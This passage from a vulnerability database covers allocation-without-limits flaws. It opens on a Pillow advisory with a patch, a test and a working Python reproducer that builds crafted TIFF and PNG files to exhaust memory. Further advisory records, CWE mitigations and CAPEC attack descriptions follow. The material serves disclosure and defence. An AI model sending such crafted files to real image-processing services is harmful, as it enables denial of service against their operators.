`PngImagePlugin.MAX_TEXT_MEMORY` (e.g. a 64 MiB `TiffImagePlugin.MAX_IFD_DATA`) would be the weaker alternative on its own: a 140 KB file could still retain ~63 MiB per IFD \u2014 and a JPEG\u0027s EXIF is parsed into several IFDs (main, EXIF, GPS, Interop), so a 66 KB APP1 segment could still request roughly 1000\u00d7 its size \u2014 and legitimate TIFFs with more than 64 MiB of tag data would lose those tags with a warning. It could still be added on top of the stream-length check as a user-adjustable knob.\n\nAn alternative that removes the amplification entirely is to store `(offset, size)` in `_tagdata` and read lazily in `__getitem__`, which is what the class docstring already describes (\"we don\u0027t decode tags unless they\u0027re asked for\"); that is a larger change because `_tagdata` is shared with `ImageFileDirectory_v1` (`from_v2`/`to_v2`) and exposed as the legacy `tagdata` property, and lazy reads would need the file object to still be open when a tag is first accessed.\n\n## The patch\n\nSkip IFD entries once the total out-of-line tag data read by ImageFileDirectory_v2.load() would exceed the size of the stream\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_tiff_metadata.py b/Tests/test_file_tiff_metadata.py\nindex 7b35a0196..ccf923128 100644\n--- a/Tests/test_file_tiff_metadata.py\n+++ b/Tests/test_file_tiff_metadata.py\n@@ -500,6 +500,21 @@ def test_tag_offset() -\u003e None:\n ifd.load(f)\n \n \n+def test_tag_data_larger_than_file() -\u003e None:\n+ ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+\n+ # Two BYTE tags that both claim the whole 30 byte IFD as their value\n+ tag_count = struct.pack(\"\u003cH\", 2)\n+ tags = struct.pack(\"\u003cHHLL\", 0, 1, 30, 0) + struct.pack(\"\u003cHHLL\", 1, 1, 30, 0)\n+ next_offset = struct.pack(\"\u003cL\", 0)\n+\n+ f = io.BytesIO(tag_count + tags + next_offset)\n+ with pytest.warns(UserWarning, match=\"Tag data larger than file\"):\n+ ifd.load(f)\n+ assert len(ifd[0]) == 30\n+ assert 1 not in ifd\n+\n+\n def test_tag_group_data() -\u003e None:\n base_ifd = TiffImagePlugin.ImageFileDirectory_v2()\n interop_ifd = TiffImagePlugin.ImageFileDirectory_v2(group=40965)\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..c9d506933 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -892,6 +892,9 @@ class ImageFileDirectory_v2(_IFDv2Base):\n def load(self, fp: IO[bytes]) -\u003e None:\n self.reset()\n self._offset = fp.tell()\n+ fp.seek(0, io.SEEK_END)\n+ file_size = fp.tell()\n+ fp.seek(self._offset)\n \n try:\n tag_count = (\n@@ -899,6 +902,7 @@ class ImageFileDirectory_v2(_IFDv2Base):\n if self._bigtiff\n else self._unpack(\"H\", self._ensure_read(fp, 2))\n )[0]\n+ total_size = 0\n for i in range(tag_count):\n tag, typ, count, data = (\n self._unpack(\"HHQ8s\", self._ensure_read(fp, 20))\n@@ -923,6 +927,16 @@ class ImageFileDirectory_v2(_IFDv2Base):\n if offset \u003e= 2**63:\n warnings.warn(\"Tag offset too large\")\n continue\n+ # The values of a well-formed IFD do not overlap, so in\n+ # total they cannot be larger than the file they are read\n+ # from. Do not let entries that alias the same bytes load\n+ # many copies of it.\n+ total_size += size\n+ if total_size \u003e file_size:\n+ warnings.warn(\n+ f\"Tag data larger than file. Skipping tag {tag}\"\n+ )\n+ continue\n fp.seek(offset)\n data = ImageFile._safe_read(fp, size)\n fp.seek(here)\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,254 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# ImageFileDirectory_v2.load(): N IFD entries that all alias the file body make\n# Image.open() (TIFF) and getexif() (PNG eXIf etc.) retain ~N copies of the file.\n# Pure Python, stock Pillow in /src. Needs ~1 GB RAM, runs in ~1 s.\nimport io, struct, resource\nfrom PIL import Image\nresource.setrlimit(resource.RLIMIT_AS, (4 \u003c\u003c 30, 4 \u003c\u003c 30)) # MemoryError, not OOM-killer\n\ndef aliased_ifd(n_alias, real=()):\n \"\"\"Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file.\"\"\"\n n = len(real) + n_alias\n size = 8 + 2 + 12 * n + 4\n ents = {t: struct.pack(\"\u003cHHLL\", t, typ, 1, v) for t, (typ, v) in dict(real).items()}\n for t in range(1000, 1000 + n_alias):\n ents[t] = struct.pack(\"\u003cHHLL\", t, 1, size - 1, 1) # BYTE[size-1] @ offset 1\n blob = b\"II*\\0\" + struct.pack(\"\u003cLH\", 8, n) + b\"\".join(ents[t] for t in sorted(ents)) + b\"\\0\" * 4\n assert len(blob) == size\n return blob\n\ndef rss():\n return next(int(l.split()[1]) \u003c\u003c 10 for l in open(\"/proc/self/status\") if l.startswith(\"VmRSS\"))\n\n# 1) TIFF: 1x1 L image (pixel = a header byte) + 6000 aliased private tags -\u003e Image.open() only\nreal = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),\n 273: (4, 8), 278: (3, 1), 279: (4, 1)}\ntif = aliased_ifd(6000, real)\nr0 = rss(); im = Image.open(io.BytesIO(tif)); r1 = rss()\nheld_t = sum(len(v) for v in im.tag_v2._tagdata.values())\nprint(f\"TIFF {len(tif)} B, {im.size} {im.mode}: Image.open() keeps {held_t \u003e\u003e 20} MiB of tag data \"\n f\"({held_t // len(tif)}x file); RSS {r0 \u003e\u003e 20} -\u003e {r1 \u003e\u003e 20} MiB\")\n\n# 2) Same IFD as EXIF in a 1x1 PNG -\u003e im.getexif() (what ImageOps.exif_transpose calls)\nexif = aliased_ifd(6000)\nbuf = io.BytesIO(); Image.new(\"L\", (1, 1)).save(buf, \"PNG\", exif=exif); png = buf.getvalue()\nr0 = rss(); im2 = Image.open(io.BytesIO(png)); e = im2.getexif(); r1 = rss()\nheld_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0\nprint(f\"PNG {len(png)} B: getexif() keeps {held_e \u003e\u003e 20} MiB ({held_e // len(png)}x file); \"\n f\"RSS {r0 \u003e\u003e 20} -\u003e {r1 \u003e\u003e 20} MiB\")\n\n# A well-formed IFD\u0027s values cannot exceed the stream they come from (1x).\nprint(\"BUG\" if held_t \u003e 2000 * len(tif) and held_e \u003e 2000 * len(png) else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "GHSA-wqgw-9xfh-qf2g",
"modified": "2026-11-12T23:35:39Z",
"published": "2026-11-12T23:35:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-wqgw-9xfh-qf2g"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/4908edaf7f416616784c7c03d8c1a60153710ffb"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/4b63dffd8a6d980fa0e21b40832fa6cbf033eacf"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Pillow: Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data"
}
GHSA-WQH8-3GRF-J8JP
Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2024-04-04 04:20mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.
{
"affected": [],
"aliases": [
"CVE-2023-33720"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T16:15:10Z",
"severity": "MODERATE"
},
"details": "mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.",
"id": "GHSA-wqh8-3grf-j8jp",
"modified": "2024-04-04T04:20:46Z",
"published": "2023-05-26T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33720"
},
{
"type": "WEB",
"url": "https://github.com/enzo1982/mp4v2/issues/36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WQX3-8496-4XHC
Vulnerability from github – Published: 2024-11-18 06:30 – Updated: 2024-11-18 18:30Bitcoin Core before 0.20.0 allows remote attackers to cause a denial of service (infinite loop) via a malformed GETDATA message.
{
"affected": [],
"aliases": [
"CVE-2024-52920"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T04:15:04Z",
"severity": "HIGH"
},
"details": "Bitcoin Core before 0.20.0 allows remote attackers to cause a denial of service (infinite loop) via a malformed GETDATA message.",
"id": "GHSA-wqx3-8496-4xhc",
"modified": "2024-11-18T18:30:54Z",
"published": "2024-11-18T06:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52920"
},
{
"type": "WEB",
"url": "https://bitcoincore.org/en/2024/07/03/disclose-getdata-cpu"
},
{
"type": "WEB",
"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR35-FH22-Q84X
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14Keep-alive HTTP and HTTPS connections can remain open and inactive for up to 2 minutes in Node.js 6.16.0 and earlier. Node.js 8.0.0 introduced a dedicated server.keepAliveTimeout which defaults to 5 seconds. The behavior in Node.js 6.16.0 and earlier is a potential Denial of Service (DoS) attack vector. Node.js 6.17.0 introduces server.keepAliveTimeout and the 5-second default.
{
"affected": [],
"aliases": [
"CVE-2019-5739"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-28T17:29:00Z",
"severity": "HIGH"
},
"details": "Keep-alive HTTP and HTTPS connections can remain open and inactive for up to 2 minutes in Node.js 6.16.0 and earlier. Node.js 8.0.0 introduced a dedicated server.keepAliveTimeout which defaults to 5 seconds. The behavior in Node.js 6.16.0 and earlier is a potential Denial of Service (DoS) attack vector. Node.js 6.17.0 introduces server.keepAliveTimeout and the 5-second default.",
"id": "GHSA-wr35-fh22-q84x",
"modified": "2022-05-13T01:14:31Z",
"published": "2022-05-13T01:14:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5739"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/february-2019-security-releases"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202003-48"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190502-0008"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-03/msg00041.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00046.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR93-5XPH-995G
Vulnerability from github – Published: 2026-08-06 09:30 – Updated: 2026-09-23 15:30A flaw was found in the GStreamer gst-plugins-good package. The rtph264depay and rtph265depay RTP depayloader elements do not enforce a maximum size limit on the reassembly buffer used during fragmented RTP packet processing. A remote, unauthenticated attacker can send a continuous stream of RTP fragments without ever transmitting an end-of-fragment marker, causing the reassembly buffer to grow without bound until process memory is exhausted. This results in a denial of service through process termination.
{
"affected": [],
"aliases": [
"CVE-2026-18649"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T08:16:29Z",
"severity": "HIGH"
},
"details": "A flaw was found in the GStreamer gst-plugins-good package. The rtph264depay and rtph265depay RTP depayloader elements do not enforce a maximum size limit on the reassembly buffer used during fragmented RTP packet processing. A remote, unauthenticated attacker can send a continuous stream of RTP fragments without ever transmitting an end-of-fragment marker, causing the reassembly buffer to grow without bound until process memory is exhausted. This results in a denial of service through process termination.",
"id": "GHSA-wr93-5xph-995g",
"modified": "2026-09-23T15:30:36Z",
"published": "2026-08-06T09:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18649"
},
{
"type": "WEB",
"url": "https://gitlab.freedesktop.org/gstreamer/gstreamer-security/-/merge_requests/113"
},
{
"type": "WEB",
"url": "https://github.com/0xSemizzz/CVE-2026-18649"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510614"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-18649"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:70803"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:70584"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:70264"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:69232"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:65999"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:65959"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:61943"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:61588"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:56966"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53452"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53451"
},
{
"type": "WEB",
"url": "https://0xsemizzz.vercel.app/projects/cve-2026-18649-gstreamer-rtp-dos"
},
{
"type": "WEB",
"url": "https://0xsemizzz.vercel.app/blog/cve-2026-18649-gstreamer-rtp-dos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR99-R6HJ-FV7J
Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user with low-level permissions could submit a specially crafted request that causes excessive resource consumption, which may render Kibana unavailable.
{
"affected": [],
"aliases": [
"CVE-2026-33465"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-01T20:17:13Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user with low-level permissions could submit a specially crafted request that causes excessive resource consumption, which may render Kibana unavailable.",
"id": "GHSA-wr99-r6hj-fv7j",
"modified": "2026-09-01T21:31:46Z",
"published": "2026-09-01T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33465"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-17-9-3-0-security-update-esa-2026-31/390050"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WRCR-X4QJ-J543
Vulnerability from github – Published: 2022-07-11 21:05 – Updated: 2022-07-19 21:05Impact
The Cloud Stream server and the Edge Stream server reads the entire message into memory without imposing a limit on the size of this message. An attacker can exploit this by sending a large message to exhaust memory and cause a DoS. The Cloud Stream server and the Edge Stream server are under DoS attack in this case. The consequence of the exhaustion is that the CloudCore and EdgeCore will be in a denial of service. Only an authenticated user can cause this issue. It will be affected only when users enable cloudStream module in the config file cloudcore.yaml and enable edgeStream module in the config file edgecore.yaml as below. cloudcore.yaml:
modules:
...
cloudStream:
enable: true
edgecore.yaml:
modules:
...
edgeStream:
enable: true
Patches
This bug has been fixed in Kubeedge 1.11.1, 1.10.2, 1.9.4. Users should update to these versions to resolve the issue.
Workarounds
Disable cloudStream module in the config file cloudcore.yaml and disable edgeStream module in the config file edgecore.yaml, restart process cloudcore and edgecore after modification.
References
NA
Credits
Thanks David Korczynski and Adam Korczynski of ADA Logics for responsibly disclosing this issue in accordance with the kubeedge security policy during a security audit sponsored by CNCF and facilitated by OSTIF.
For more information
If you have any questions or comments about this advisory: * Open an issue in KubeEdge repo * To make a vulnerability report, email your vulnerability to the private cncf-kubeedge-security@lists.cncf.io list with the security details and the details expected for KubeEdge bug reports.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31079"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-11T21:05:32Z",
"nvd_published_at": "2022-07-11T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe Cloud Stream server and the Edge Stream server reads the entire message into memory without imposing a limit on the size of this message. An attacker can exploit this by sending a large message to exhaust memory and cause a DoS. The Cloud Stream server and the Edge Stream server are under DoS attack in this case. The consequence of the exhaustion is that the CloudCore and EdgeCore will be in a denial of service.\nOnly an authenticated user can cause this issue. It will be affected only when users enable cloudStream module in the config file cloudcore.yaml and enable edgeStream module in the config file edgecore.yaml as below.\ncloudcore.yaml:\n```\nmodules:\n ...\n cloudStream:\n enable: true\n```\nedgecore.yaml:\n```\nmodules:\n ...\n edgeStream:\n enable: true\n```\n\n### Patches\nThis bug has been fixed in Kubeedge 1.11.1, 1.10.2, 1.9.4. Users should update to these versions to resolve the issue.\n\n### Workarounds\nDisable cloudStream module in the config file cloudcore.yaml and disable edgeStream module in the config file edgecore.yaml, restart process cloudcore and edgecore after modification.\n\n### References\nNA\n\n### Credits\nThanks David Korczynski and Adam Korczynski of ADA Logics for responsibly disclosing this issue in accordance with the [kubeedge security policy](https://github.com/kubeedge/kubeedge/security/policy) during a security audit sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [KubeEdge repo](https://github.com/kubeedge/kubeedge/issues/new/choose)\n* To make a vulnerability report, email your vulnerability to the private [cncf-kubeedge-security@lists.cncf.io](mailto:cncf-kubeedge-security@lists.cncf.io) list with the security details and the details expected for [KubeEdge bug reports](https://github.com/kubeedge/kubeedge/blob/master/.github/ISSUE_TEMPLATE/bug-report.md).\n",
"id": "GHSA-wrcr-x4qj-j543",
"modified": "2022-07-19T21:05:39Z",
"published": "2022-07-11T21:05:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubeedge/kubeedge/security/advisories/GHSA-wrcr-x4qj-j543"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31079"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubeedge/kubeedge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "KubeEdge Cloud Stream and Edge Stream DoS from large stream message"
}
GHSA-WRF2-2RCH-CMR9
Vulnerability from github – Published: 2022-05-17 04:31 – Updated: 2024-10-14 21:41python_scripts.py in Plone before 4.2.3 and 4.3 before beta 1 allows remote attackers to cause a denial of service (memory consumption) via a large value, related to formatColumns.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "4.3a1"
},
{
"fixed": "4.3b1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-5499"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-08T17:55:14Z",
"nvd_published_at": "2014-09-30T14:55:00Z",
"severity": "HIGH"
},
"details": "python_scripts.py in Plone before 4.2.3 and 4.3 before beta 1 allows remote attackers to cause a denial of service (memory consumption) via a large value, related to `formatColumns`.",
"id": "GHSA-wrf2-2rch-cmr9",
"modified": "2024-10-14T21:41:07Z",
"published": "2022-05-17T04:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5499"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2014:1194"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2012-5499"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=874657"
},
{
"type": "PACKAGE",
"url": "https://github.com/plone/Plone"
},
{
"type": "WEB",
"url": "https://github.com/plone/Products.CMFPlone/blob/4.2.3/docs/CHANGES.txt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2014-41.yaml"
},
{
"type": "WEB",
"url": "https://plone.org/products/plone-hotfix/releases/20121106"
},
{
"type": "WEB",
"url": "https://plone.org/products/plone/security/advisories/20121106/15"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-1194.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/11/10/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Plone is vulnerable to denial of service"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
